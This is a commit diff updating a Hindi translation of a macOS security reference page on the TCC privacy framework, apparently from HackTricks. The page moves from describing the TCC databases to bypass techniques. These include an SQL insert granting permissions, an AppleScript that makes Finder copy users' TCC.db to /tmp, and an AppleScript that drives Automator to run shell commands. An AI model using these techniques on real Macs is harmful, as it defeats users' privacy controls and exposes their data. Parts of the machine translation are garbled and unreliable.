mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 17:28:13 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
Translator
parent
ac6770cde1
commit
fe9121a102
1 changed files with 171 additions and 84 deletions
|
|
@ -18,13 +18,13 @@
|
|||
|
||||
उपयोगकर्ता के दृष्टिकोण से, वे TCC को कार्रवाई में देखते हैं **जब एक ऐप्लिकेशन TCC द्वारा संरक्षित सुविधा तक पहुंच चाहता है**। जब ऐसा होता है, तो **उपयोगकर्ता को प्रश्न पूछा जाता है** कि क्या वह पहुंच को अनुमति देना चाहते हैं या नहीं।
|
||||
|
||||
यह भी संभव है कि उपयोगकर्ता द्वारा **उपयोगकर्ता के द्वारा स्पष्ट इरादों** से ऐप्स को फ़ाइलों की पहुंच दी जाए, उदाहरण के लिए जब उपयोगकर्ता एक फ़ाइल को एक प्रोग्राम में **खींचता है और छोड़ता है** (स्वाभाविक रूप से प्रोग्राम को इसकी पहुंच होनी चाहिए)।
|
||||
यह भी संभव है कि उपयोगकर्ता द्वारा **उपयोगकर्ता के द्वारा स्पष्ट इरादों** से ऐप्स को फ़ाइलों तक पहुंच दी जाए (स्वाभाविक रूप से प्रोग्राम को इसकी पहुंच होनी चाहिए)।
|
||||
|
||||
|
||||
|
||||
**TCC** को **डेमन** द्वारा संभाला जाता है जो `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` में स्थित होता है और `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` में कॉन्फ़िगर किया जाता है (मशीन सेवा `com.apple.tccd.system` को पंजीकृत करना)।
|
||||
**TCC** को **डेमन** द्वारा हैंडल किया जाता है जो `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` में स्थित होता है और `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` में कॉन्फ़िगर किया जाता है (मशीन सेवा `com.apple.tccd.system` को पंजीकृत करना)।
|
||||
|
||||
यहां आप देख सकते हैं कि तंत्रिका सिस्टम के रूप में और उपयोगकर्ता के रूप में चल रही है:
|
||||
यहां आप सिस्टम और उपयोगकर्ता के रूप में चल रहे tccd को देख सकते हैं:
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
|
|
@ -34,18 +34,30 @@ ps -ef | grep tcc
|
|||
|
||||
### TCC डेटाबेस
|
||||
|
||||
चयन फिर **TCC सिस्टम-व्यापी डेटाबेस में संग्रहीत** किया जाता है, जो **`/Library/Application Support/com.apple.TCC/TCC.db`** में होता है या प्रति-उपयोगकर्ता वरीयताओं के लिए **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** में होता है। डेटाबेसों को **SIP**(सिस्टम अखंडता संरक्षण) के साथ **संपादित करने से सुरक्षित रखा गया है**, लेकिन आप उन्हें पढ़ सकते हैं।
|
||||
अनुमतियाँ फिर **कुछ TCC डेटाबेस में संग्रहीत** होती हैं:
|
||||
|
||||
{% hint style="danger" %}
|
||||
* **`/Library/Application Support/com.apple.TCC/TCC.db`** में सिस्टम-वाइड डेटाबेस।
|
||||
* इस डेटाबेस को **SIP सुरक्षित** किया गया है, इसलिए केवल SIP बाईपास इसे लिख सकता है।
|
||||
* प्रति-उपयोगकर्ता प्राथमिकताओं के लिए उपयोगकर्ता TCC डेटाबेस **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**।
|
||||
* इस डेटाबेस को सुरक्षित किया गया है, इसलिए केवल पूर्ण डिस्क पहुंच जैसी उच्च TCC विशेषाधिकार वाले प्रक्रियाएं इसे लिख सकती हैं (लेकिन इसे SIP द्वारा सुरक्षित नहीं किया गया है)।
|
||||
|
||||
{% hint style="warning" %}
|
||||
पिछले डेटाबेसों को पढ़ने के लिए भी **TCC द्वारा संरक्षित हैं**। इसलिए आप **आपके सामान्य उपयोगकर्ता TCC डेटाबेस को पढ़ नहीं पाएंगे** जब तक यह TCC विशेषाधिकार वाली प्रक्रिया से नहीं है।
|
||||
|
||||
हालांकि, ध्यान दें कि इन उच्च विशेषाधिकारों वाली प्रक्रियाओं (जैसे **FDA** या **`kTCCServiceEndpointSecurityClient`**) के पास उपयोगकर्ताओं के TCC डेटाबेस को लिखने की क्षमता होगी।
|
||||
{% endhint %}
|
||||
|
||||
* **`/var/db/locationd/clients.plist`** में तीसरा TCC डेटाबेस है जो स्थान सेवाओं तक पहुंच की अनुमति देता है।
|
||||
* SIP सुरक्षित फ़ाइल **`/Users/carlospolop/Downloads/REG.db`** (जिसे TCC द्वारा पढ़ने की अनुमति भी नहीं है) में सभी मान्य TCC डेटाबेस का स्थान होता है।
|
||||
* SIP सुरक्षित फ़ाइल **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (जिसे TCC द्वारा पढ़ने की अनुमति भी नहीं है) में अधिक TCC अनुमतियाँ होती हैं।
|
||||
* SIP सुरक्षित फ़ाइल **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (किसी भी व्यक्ति द्वारा पढ़ने योग्य) एक ऐसी सूची है जिसमें TCC अपवाद की आवश्यकता वाले एप्लिकेशनों की सूची होती है। 
|
||||
|
||||
{% hint style="success" %}
|
||||
**iOS** में TCC डेटाबेस **`/private/var/mobile/Library/TCC/TCC.db`** में होता है।
|
||||
{% endhint %}
|
||||
|
||||
**`/var/db/locationd/clients.plist`** में एक **तीसरा** TCC डेटाबेस होता है जो **स्थान सेवाओं तक पहुंच देने वाले क्लाइंट** को दर्शाता है।
|
||||
|
||||
इसके अलावा, **पूर्ण डिस्क एक्सेस** वाले प्रक्रिया **उपयोगकर्ता मोड** डेटाबेस को **संपादित कर सकती है**। अब एक ऐप को डेटाबेस को **पढ़ने** (और उपयोगकर्ताओं को संशोधित करने के लिए) भी **FDA** या **`kTCCServiceEndpointSecurityClient`** की आवश्यकता होती है।
|
||||
|
||||
{% hint style="info" %}
|
||||
**नोटिफिकेशन सेंटर UI** सिस्टम TCC डेटाबेस में **परिवर्तन कर सकता है**:
|
||||
**नोटिफ़िकेशन सेंटर UI** सिस्टम TCC डेटाबेस में **परिवर्तन कर सकता है**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
|
@ -59,8 +71,10 @@ com.apple.rootless.storage.TCC
|
|||
हालांकि, उपयोगकर्ता नियमों को **`tccutil`** कमांड लाइन उपयोगिता के साथ **हटा सकते या प्रश्न कर सकते हैं**।
|
||||
{% endhint %}
|
||||
|
||||
#### डेटाबेस का प्रश्न करें
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="उपयोगकर्ता डीबी" %}
|
||||
{% tab title="उपयोगकर्ता डेटाबेस" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
|
||||
|
|
@ -107,12 +121,59 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
दोनों डेटाबेसों की जांच करके आप देख सकते हैं कि किसी ऐप को कौन सी अनुमतियां दी गई हैं, कौन सी अनुमतियां मना की गई हैं, या कौन सी अनुमतियां नहीं हैं (इसके लिए यह पूछेगा)।
|
||||
दोनों डेटाबेसों की जांच करके आप एक ऐप की अनुमतियों की जांच कर सकते हैं, जिन्हें उसने अनुमति दी है, मना की है या जिन्हें उसे चाहिए (यह उससे पूछेगा)।
|
||||
{% endhint %}
|
||||
|
||||
* **`auth_value`** में अलग-अलग मान हो सकते हैं: denied(0), unknown(1), allowed(2), या limited(3)।
|
||||
* **`auth_reason`** निम्नलिखित मान ले सकता है: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* **csreq** फ़ील्ड यह दर्शाने के लिए है कि कैसे बाइनरी को सत्यापित करें और TCC अनुमतियां प्रदान करें:
|
||||
* **`सेवा`** TCC **अनुमति** स्ट्रिंग प्रतिष्ठान है
|
||||
* **`ग्राहक`** अनुमतियों के साथ **बंडल आईडी** या **बाइनरी के पथ** है
|
||||
* **`ग्राहक प्रकार`** यह दर्शाता है कि यह बंडल पहचानकर्ता (0) है या एक पूर्ण पथ (1)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>यदि यह एक पूर्ण पथ है तो कैसे निष्पादित करें</summary>
|
||||
|
||||
बस **`launctl load you_bin.plist`** करें, एक plist के साथ जैसे:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<!-- Label for the job -->
|
||||
<key>Label</key>
|
||||
<string>com.example.yourbinary</string>
|
||||
|
||||
<!-- The path to the executable -->
|
||||
<key>Program</key>
|
||||
<string>/path/to/binary</string>
|
||||
|
||||
<!-- Arguments to pass to the executable (if any) -->
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>arg1</string>
|
||||
<string>arg2</string>
|
||||
</array>
|
||||
|
||||
<!-- Run at load -->
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
|
||||
<!-- Keep the job alive, restart if necessary -->
|
||||
<key>KeepAlive</key>
|
||||
<true/>
|
||||
|
||||
<!-- Standard output and error paths (optional) -->
|
||||
<key>StandardOutPath</key>
|
||||
<string>/tmp/YourBinary.stdout</string>
|
||||
<key>StandardErrorPath</key>
|
||||
<string>/tmp/YourBinary.stderr</string>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
</details>
|
||||
|
||||
* **`auth_value`** कई अलग-अलग मान ले सकता है: निषेधित(0), अज्ञात(1), अनुमति दी गई(2), या सीमित(3).
|
||||
* **`auth_reason`** निम्नलिखित मान ले सकता है: त्रुटि(1), उपयोगकर्ता सहमति(2), उपयोगकर्ता ने सेट किया(3), सिस्टम ने सेट किया(4), सेवा नीति(5), MDM नीति(6), ओवरराइड नीति(7), अनुपयोग स्ट्रिंग गुम है(8), प्रॉम्प्ट समय समाप्ति(9), प्रीफ्लाइट अज्ञात(10), अधिकृत(11), ऐप के प्रकार नीति(12)
|
||||
* **csreq** फ़ील्ड यह दर्शाता है कि कैसे बाइनरी को सत्यापित करें और TCC अनुमतियाँ प्रदान करें:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
|
@ -128,27 +189,15 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
* टेबल के **अन्य फ़ील्डों** के बारे में अधिक जानकारी के लिए [**इस ब्लॉग पोस्ट की जांच करें**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)।
|
||||
|
||||
{% hint style="info" %}
|
||||
कुछ TCC अनुमतियाँ हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... इन सभी की पूरी सूची नहीं है, लेकिन आप इस [**ज्ञात सूची की जांच कर सकते हैं**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)।
|
||||
|
||||
**फ़ुल डिस्क एक्सेस** का नाम है **`kTCCServiceSystemPolicyAllFiles`** और **`kTCCServiceAppleEvents`** ऐप को अन्य ऐप्स को इवेंट भेजने की अनुमति देता है जो सामान्यतः **कार्यों को स्वचालित करने** के लिए उपयोग होते हैं।
|
||||
|
||||
**kTCCServiceEndpointSecurityClient** एक TCC अनुमति है जो उच्च अधिकार भी प्रदान करती है, उनमें से एक विकल्प है उपयोगकर्ता डेटाबेस में लिखने की।
|
||||
|
||||
इसके अलावा, **`kTCCServiceSystemPolicySysAdminFiles`** एक ऐसी अनुमति है जो एक उपयोगकर्ता के **`NFSHomeDirectory`** विशेषता को **बदलने** की अनुमति देती है, जो उसके होम फ़ोल्डर को बदलता है और इसलिए TCC को **दौरा पार करने** की अनुमति देता है।
|
||||
{% endhint %}
|
||||
* टेबल के **अन्य फ़ील्डों** के बारे में अधिक जानकारी के लिए [**इस ब्लॉग पोस्ट**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) की जांच करें।
|
||||
|
||||
आप `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` में ऐप्स को **पहले से दिए गए अनुमतियों** की जांच भी कर सकते हैं।
|
||||
|
||||
{% hint style="success" %}
|
||||
ध्यान दें कि यदि डेटाबेस में से कोई भी डेटाबेस उपयोगकर्ता के होम में है, तो **SIP के कारण उपयोगकर्ता सीधे इन डेटाबेस को संशोधित नहीं कर सकता** (यदि आप रूट हों भी)। एक नई नियम को कॉन्फ़िगर करने या संशोधित करने का एकमात्र तरीका सिस्टम प्राथमिकता पैनल या प्रॉम्प्ट के माध्यम से है जहां ऐप उपयोगकर्ता से पूछता है।
|
||||
|
||||
हालांकि, ध्यान दें कि उपयोगकर्ता **`tccutil`** का उपयोग करके नियमों को **हटा सकता या क्वेरी कर सकता है**।
|
||||
उपयोगकर्ता **`tccutil`** का उपयोग करके **नियमों को हटा सकते या क्वेरी कर सकते हैं**।
|
||||
{% endhint %}
|
||||
|
||||
#### रीसेट
|
||||
#### TCC अनुमतियाँ रीसेट करें
|
||||
```bash
|
||||
# You can reset all the permissions given to an application with
|
||||
tccutil reset All app.some.id
|
||||
|
|
@ -175,17 +224,17 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
इसलिए, एक ही नाम और बंडल ID का उपयोग करने वाले अन्य एप्लिकेशन अन्य ऐप्स को दिए गए अनुमतियों तक पहुंच नहीं पा सकेंगे।
|
||||
इसलिए, एक ही नाम और बंडल आईडी का उपयोग करने वाले अन्य एप्लिकेशन अन्य ऐप्स को दिए गए अनुमतियों तक पहुंच नहीं पा सकेंगे।
|
||||
{% endhint %}
|
||||
|
||||
### अधिकार
|
||||
### अधिकाराधिकार और TCC अनुमतियाँ
|
||||
|
||||
ऐप्स को केवल कुछ संसाधनों के लिए अनुरोध करने और उन्हें पहुंच दिए जाने के लिए ही नहीं होता है, उन्हें संबंधित अधिकार भी होने चाहिए।\
|
||||
उदाहरण के लिए, **Telegram** के पास `com.apple.security.device.camera` अधिकार है जिसका उपयोग **कैमरे तक पहुंच के लिए** करने के लिए किया जाता है। इसके बिना किसी ऐप को कैमरे तक पहुंच नहीं होगी (और उपयोगकर्ता से अनुमतियों के लिए भी पूछा नहीं जाएगा)।
|
||||
ऐप्स को केवल कुछ संसाधनों के लिए अनुरोध करने और उन्हें पहुंच दिए जाने के लिए ही नहीं होता है, उन्हें संबंधित अधिकाराधिकार भी होने चाहिए।\
|
||||
उदाहरण के लिए, **Telegram** के पास `com.apple.security.device.camera` अधिकाराधिकार है जिसका उपयोग **कैमरे तक पहुंच के लिए** करने के लिए किया जाता है। एक ऐप जिसमें यह अधिकाराधिकार नहीं है, वह कैमरे तक पहुंच नहीं पा सकेगी (और उपयोगकर्ता को अनुमतियों के लिए पूछा नहीं जाएगा)।
|
||||
|
||||
हालांकि, ऐप्स को `~/Desktop`, `~/Downloads` और `~/Documents` जैसे कुछ उपयोगकर्ता फ़ोल्डरों तक पहुंच करने के लिए किसी विशेष अधिकार की आवश्यकता नहीं होती है। सिस्टम स्वचालित रूप से पहुंच को संभालेगा और उपयोगकर्ता को आवश्यकतानुसार प्रश्नित करेगा।
|
||||
हालांकि, ऐप्स को `~/Desktop`, `~/Downloads` और `~/Documents` जैसे कुछ उपयोगकर्ता फ़ोल्डरों तक पहुंच करने के लिए किसी भी विशेष अधिकाराधिकार की आवश्यकता नहीं होती है। सिस्टम स्वतः ही पहुंच को संचालित करेगा और उपयोगकर्ता को आवश्यकतानुसार प्रश्नित करेगा।
|
||||
|
||||
एप्पल के ऐप्स प्रश्निति नहीं उत्पन्न करेंगे। उनमें उनकी अधिकार सूची में पूर्व-अनुमति होती है, जिसका अर्थ है कि वे कभी भी पॉपअप उत्पन्न नहीं करेंगे, और वे किसी भी TCC डेटाबेस में दिखाई नहीं देंगे। उदाहरण के लिए:
|
||||
एप्पल के ऐप्स प्रश्नित करने की उत्पन्न नहीं करेंगे। उनमें उनकी अधिकाराधिकार सूची में पूर्व-दिए गए अधिकार होते हैं, जिसका मतलब है कि वे कभी भी एक पॉपअप उत्पन्न नहीं करेंगे, और वे किसी भी TCC डेटाबेस में दिखाई नहीं देंगे। उदाहरण के लिए:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
|
@ -196,21 +245,23 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
यह कैलेंडर को यूजर से यादें, कैलेंडर और पता-पुस्तिका तक पहुंच करने के लिए पूछने से बचाएगा।
|
||||
यह यह सुनिश्चित करेगा कि कैलेंडर उपयोगकर्ता से यादें, कैलेंडर और पता-पुस्तिका तक पहुंच करने के लिए पूछता नहीं है।
|
||||
|
||||
{% hint style="success" %}
|
||||
इंटाइटलमेंट्स के बारे में कुछ आधिकारिक दस्तावेज़ीकरण के अलावा, इंटाइटलमेंट्स के बारे में अनौपचारिक **रोचक जानकारी** भी मिल सकती है [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
इंटाइटलमेंट्स के बारे में कुछ आधिकारिक दस्तावेज़ीकरण के अलावा, आप इंटाइटलमेंट्स के बारे में अनौपचारिक **रोचक जानकारी भी पा सकते हैं** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) में
|
||||
{% endhint %}
|
||||
|
||||
कुछ TCC अनुमतियाँ हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... इनमें सभी की परिभाषा करने वाली कोई सार्वजनिक सूची नहीं है, लेकिन आप इस [**ज्ञात सूची**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) की जांच कर सकते हैं।
|
||||
|
||||
### संवेदनशील असुरक्षित स्थान
|
||||
|
||||
* $HOME (खुद)
|
||||
* $HOME/.ssh, $HOME/.aws, आदि
|
||||
* /tmp
|
||||
|
||||
### उपयोगकर्ता के इरादे / com.apple.macl
|
||||
### उपयोगकर्ता की इच्छा / com.apple.macl
|
||||
|
||||
पहले ही उल्लिखित तरीके के अनुसार, एक ऐप को एक फ़ाइल तक पहुंच देने के लिए उसे उस पर ड्रैग एंड ड्रॉप करके अनुमति दी जा सकती है। इस उपयोग की अनुमति को किसी भी TCC डेटाबेस में नहीं निर्दिष्ट किया जाएगा बल्कि फ़ाइल के **विस्तारित गुणांक के रूप में** संग्रहीत किया जाएगा। इस गुणांक में अनुमति दी जाने वाले ऐप का UUID संग्रहीत होगा:
|
||||
पहले ही उल्लिखित तरीके से, एक ऐप को एक फ़ाइल तक पहुंच देने के लिए उसे उठाकर ड्रॉप करके इसे संभव बनाया जा सकता है। इस पहुंच को किसी भी TCC डेटाबेस में निर्दिष्ट नहीं किया जाएगा, बल्कि फ़ाइल के **विस्तारित गुण** के रूप में एक **UUID** को संग्रहीत किया जाएगा।
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
|
@ -226,22 +277,22 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
|
|||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
{% hint style="info" %}
|
||||
यह अद्वितीय है कि **`com.apple.macl`** विशेषता **Sandbox** द्वारा प्रबंधित की जाती है, न कि tccd द्वारा।
|
||||
यह अद्वितीय है कि **`com.apple.macl`** विशेषता को **Sandbox** द्वारा प्रबंधित किया जाता है, न कि tccd द्वारा।
|
||||
|
||||
इसके अलावा ध्यान दें कि यदि आप एक फ़ाइल को अपने कंप्यूटर में एक ऐप के UUID की अनुमति देती हैं और उसे एक अलग कंप्यूटर में ले जाते हैं, क्योंकि एक ही ऐप के लिए अलग-अलग UID हो सकते हैं, यह उस ऐप को पहुंच नहीं देगा।
|
||||
इसके अलावा ध्यान दें कि यदि आप एक फ़ाइल को अपने कंप्यूटर में एक अलग कंप्यूटर में एक ऐप के UUID की अनुमति देती हैं, क्योंकि एक ही ऐप के लिए अलग-अलग UIDs होंगे, तो उस ऐप को पहुंच नहीं मिलेगी।
|
||||
{% endhint %}
|
||||
|
||||
विस्तारित विशेषता `com.apple.macl` को अन्य विस्तारित विशेषताओं की तरह साफ़ नहीं किया जा सकता है क्योंकि इसे **SIP द्वारा संरक्षित** किया गया है। हालांकि, जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), इसे अक्षम करना संभव है **फ़ाइल को ज़िप करके**, इसे **हटाकर** और इसे **अनज़िप करके**।
|
||||
विस्तारित विशेषता `com.apple.macl` को अन्य विस्तारित विशेषताओं की तरह **हटाया नहीं जा सकता** क्योंकि इसे **SIP द्वारा संरक्षित** किया जाता है। हालांकि, जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), इसे अक्षुण करने के लिए फ़ाइल को **ज़िप** करके, उसे **हटाकर** और फिर से **अनज़िप** करके संभव है।
|
||||
|
||||
## TCC Privesc & Bypasses
|
||||
|
||||
### TCC में डालें
|
||||
|
||||
यदि किसी बिंदु पर आपको TCC डेटाबेस पर लिखने की पहुंच होती है, तो आप निम्नलिखित की तरह कुछ ऐसा उपयोग कर सकते हैं (टिप्पणियों को हटाएँ):
|
||||
यदि किसी बिंदु पर आपको TCC डेटाबेस पर लिखने की पहुंच होती है, तो आप निम्नलिखित की तरह एक प्रविष्टि जोड़ सकते हैं (टिप्पणियाँ हटा दें):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>TCC में डालें उदाहरण</summary>
|
||||
<summary>उदाहरण में TCC में डालें</summary>
|
||||
```sql
|
||||
INSERT INTO access (
|
||||
service,
|
||||
|
|
@ -283,12 +334,16 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
```
|
||||
</details>
|
||||
|
||||
### Automation से FDA तक Privesc
|
||||
### एफडीए के लिए स्वचालन
|
||||
|
||||
**Finder** एक ऐप्लिकेशन है जिसमें **हमेशा FDA होता है** (यदि यह UI में दिखाई नहीं देता है), इसलिए यदि आपके पास इसके ऊपर **Automation** अधिकार हैं, तो आप इसके अधिकारों का दुरुपयोग करके इसे **कुछ कार्रवाई करने के लिए मजबूर कर सकते हैं**.
|
||||
ऑटोमेशन अनुमति का TCC नाम है: **`kTCCServiceAppleEvents`**\
|
||||
यह विशेष TCC अनुमति भी इंद्रजालिक डेटाबेस के अंदर प्रबंधित किए जा सकने वाले **एप्लिकेशन** को दर्शाती है (तो अनुमतियाँ सब कुछ प्रबंधित करने की अनुमति नहीं देती है)।
|
||||
|
||||
**फ़ाइंडर** एक ऐसा एप्लिकेशन है जिसके पास **हमेशा एफडीए होता है** (यदि यह UI में नहीं दिखाई देता है तो भी), इसलिए यदि आपके पास इसके ऊपर **ऑटोमेशन** अनुमति है, तो आप इसकी अनुमतियों का दुरुपयोग करके इसे **कुछ कार्रवाई करने के लिए मजबूर** कर सकते हैं।\
|
||||
इस मामले में आपके ऐप को **`com.apple.Finder`** पर **`kTCCServiceAppleEvents`** अनुमति की आवश्यकता होगी।
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="उपयोगकर्ताओं का TCC.db चुराएं" %}
|
||||
{% tab title="उपयोगकर्ताओं के TCC.db चुराएं" %}
|
||||
```applescript
|
||||
# This AppleScript will copy the system TCC database into /tmp
|
||||
osascript<<EOD
|
||||
|
|
@ -323,27 +378,78 @@ EOD
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
आप इसका दुरुपयोग करके **अपना खुद का उपयोगकर्ता TCC डेटाबेस लिख सकते हैं**।
|
||||
आप इसे दुरुपयोग कर सकते हैं ताकि आप अपना खुद का उपयोगकर्ता TCC डेटाबेस लिख सकें।
|
||||
|
||||
यहां फाइंडर पर ऑटोमेशन अधिकार प्राप्त करने के लिए TCC प्रॉम्प्ट है:
|
||||
{% hint style="warning" %}
|
||||
इस अनुमति के साथ आप **फाइंडर से TCC प्रतिबंधित फ़ोल्डरों तक पहुंचने के लिए पूछ सकेंगे** और आपको फ़ाइलें दे सकेंगे, लेकिन जैसा कि मुझे पता है, आप **फाइंडर को विभिन्न कोड को नहीं चला सकेंगे** ताकि आप उसके FDA पहुंच का पूरा दुरुपयोग कर सकें।
|
||||
|
||||
इसलिए, आप FDA की पूरी क्षमताओं का दुरुपयोग नहीं कर सकेंगे।
|
||||
{% endhint %}
|
||||
|
||||
यहां फाइंडर पर Automation विशेषाधिकार प्राप्त करने के लिए TCC प्रॉम्प्ट है:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image.png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
### उपयोगकर्ता TCC DB से FDA तक प्राइवेसी
|
||||
{% hint style="danger" %}
|
||||
ध्यान दें कि क्योंकि **Automator** ऐप के पास TCC अनुमति **`kTCCServiceAppleEvents`** है, इसलिए यह **किसी भी ऐप** को नियंत्रित कर सकता है, जैसे कि फाइंडर। इसलिए, Automator को नियंत्रित करने की अनुमति होने पर आप निम्नलिखित कोड के साथ **फाइंडर** को भी नियंत्रित कर सकते हैं:
|
||||
{% endhint %}
|
||||
|
||||
उपयोगकर्ता TCC डेटाबेस पर **लेखन अनुमति** प्राप्त करके आप खुद को **`FDA`** अनुमतियों का अधिकार नहीं दे सकते हैं, केवल जो सिस्टम डेटाबेस में रहता है वह दे सकता है।
|
||||
<details>
|
||||
|
||||
लेकिन आप खुद को **`फाइंडर के लिए ऑटोमेशन अधिकार`** दे सकते हैं, और पिछले तकनीक का दुरुपयोग करके FDA तक उन्नति कर सकते हैं।
|
||||
<summary>Automator में शेल प्राप्त करें</summary>
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
set theScript to "touch /tmp/something"
|
||||
|
||||
### **FDA से TCC अनुमतियों तक प्राइवेसी**
|
||||
tell application "Automator"
|
||||
set actionID to Automator action id "com.apple.RunShellScript"
|
||||
tell (make new workflow)
|
||||
add actionID to it
|
||||
tell last Automator action
|
||||
set value of setting "inputMethod" to 1
|
||||
set value of setting "COMMAND_STRING" to theScript
|
||||
end tell
|
||||
execute it
|
||||
end tell
|
||||
activate
|
||||
end tell
|
||||
EOD
|
||||
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||
```
|
||||
</details>
|
||||
|
||||
मुझे लगता है कि यह एक वास्तविक प्राइवेसी नहीं है, लेकिन यदि आपको यह उपयोगी लगे तो: यदि आपके पास FDA के साथ एक प्रोग्राम का नियंत्रण है तो आप **उपयोगकर्ता TCC डेटाबेस को संशोधित करके खुद को किसी भी एक्सेस दे सकते हैं**। यह आपके FDA अनुमतियों को खो सकने की स्थिरता तकनीक के रूप में उपयोगी हो सकता है।
|
||||
यही बात **स्क्रिप्ट संपादक ऐप** के साथ भी होती है, यह फाइंडर को नियंत्रित कर सकता है, लेकिन एक AppleScript का उपयोग करके आप इसे एक स्क्रिप्ट को निष्पादित करने के लिए मजबूर नहीं कर सकते।
|
||||
|
||||
### **SIP बाइपास से TCC बाइपास तक**
|
||||
### **ईंधन सुरक्षा क्लाइंट से FDA**
|
||||
|
||||
सिस्टम **TCC डेटाबेस** SIP द्वारा संरक्षित है, इसलिए केवल उन प्रक्रियाओं को ही संशोधित करने की अनुमति होगी जिनमें **निर्दिष्ट अधिकार होंगे**। इसलिए, यदि हमलावर को SIP पारगमन का पता चलता है (SIP द्वारा प्रतिबंधित एक फ़ाइल को संशोधित करने की अनुमति हो), तो वह TCC डेटाबेस की सुरक्षा को हटा सकता है, और खुद को सभी TCC अनुमतियों का अधिकार दे सकता है।
|
||||
यदि आपके पास **`kTCCServiceEndpointSecurityClient`** है, तो आपके पास FDA है। समाप्त।
|
||||
|
||||
हालांकि, इस **SIP बाइपास का उपयोग करके TCC को बाइपास करने** के लिए एक और विकल्प है, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` फ़ाइल एक ऐसी अनुमति की सूची है जिसमें TCC छूट आवश्यकता वाले एप्लिकेशन शामिल हैं। इसलिए, यदि हमलावर इस फ़ाइल से SIP संरक्षण को हटा सकता है और अपने **खुद के एप्लिकेशन** को जोड़ सकता है, तो ऐप्लिकेशन TCC को बाइपास कर सकेगा।\
|
||||
### सिस्टम नीति सिसएडमिन फ़ाइल से FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** एक उपयोगकर्ता के **`NFSHomeDirectory`** विशेषता को **बदलने** की अनुमति देता है जो उसके होम फ़ोल्डर को बदलता है और इसलिए TCC को **दौरा करने की अनुमति देता है**।
|
||||
|
||||
### उपयोगकर्ता TCC डीबी से FDA
|
||||
|
||||
उपयोगकर्ता TCC डेटाबेस पर **लेखन अनुमति** प्राप्त करके आप खुद को **`FDA`** अनुमतियों की प्राप्ति नहीं कर सकते, केवल सिस्टम डेटाबेस में रहने वाला व्यक्ति उसे प्रदान कर सकता है।
|
||||
|
||||
लेकिन आप खुद को **`फ़ाइंडर के लिए स्वचालन अधिकार`** दे सकते हैं, और FDA की ऊपरी तकनीक का दुरुपयोग करके FDA की ओर उन्नयन कर सकते हैं\*।
|
||||
|
||||
